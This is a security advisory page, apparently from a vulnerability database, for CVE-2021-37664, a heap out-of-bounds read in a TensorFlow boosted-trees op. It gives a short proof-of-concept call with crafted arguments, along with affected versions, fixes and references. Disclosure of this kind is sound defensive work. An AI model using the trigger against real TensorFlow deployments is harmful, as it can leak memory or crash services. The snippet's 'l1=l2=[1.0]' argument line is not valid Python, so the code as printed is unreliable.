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  5. CVE-2021-37664

CVE-2021-37664: Heap OOB in boosted trees

August 25, 2021 (updated November 13, 2024)

An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to BoostedTreesSparseCalculateBestFeatureSplit:

import tensorflow as tf

tf.raw_ops.BoostedTreesSparseCalculateBestFeatureSplit(
node_id_range=[0,10],
stats_summary_indices=[[1, 2, 3, 0x1000000]],
stats_summary_values=[1.0],
stats_summary_shape=[1,1,1,1],
l1=l2=[1.0],
tree_complexity=[0.5],
min_node_weight=[1.0],
logits_dimension=3,
split_type='inequality')

References

  • github.com/advisories/GHSA-r4c4-5fpq-56wg
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-577.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-775.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-286.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/e84c975313e8e8e38bb2ea118196369c45c51378
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-r4c4-5fpq-56wg
  • nvd.nist.gov/vuln/detail/CVE-2021-37664

Code Behaviors & Features

Detect and mitigate CVE-2021-37664 with GitLab Dependency Scanning

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Affected versions

All versions before 2.3.4, all versions starting from 2.4.0 before 2.4.3, all versions starting from 2.5.0 before 2.5.1, version 2.5.0

Fixed versions

  • 2.3.4
  • 2.4.3
  • 2.5.1

Solution

Upgrade to versions 2.3.4, 2.4.3, 2.5.1 or above.

Impact 7.1 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-125: Out-of-bounds Read

Source file

pypi/tensorflow-cpu/CVE-2021-37664.yml

Spotted a mistake? Edit the file on GitLab.

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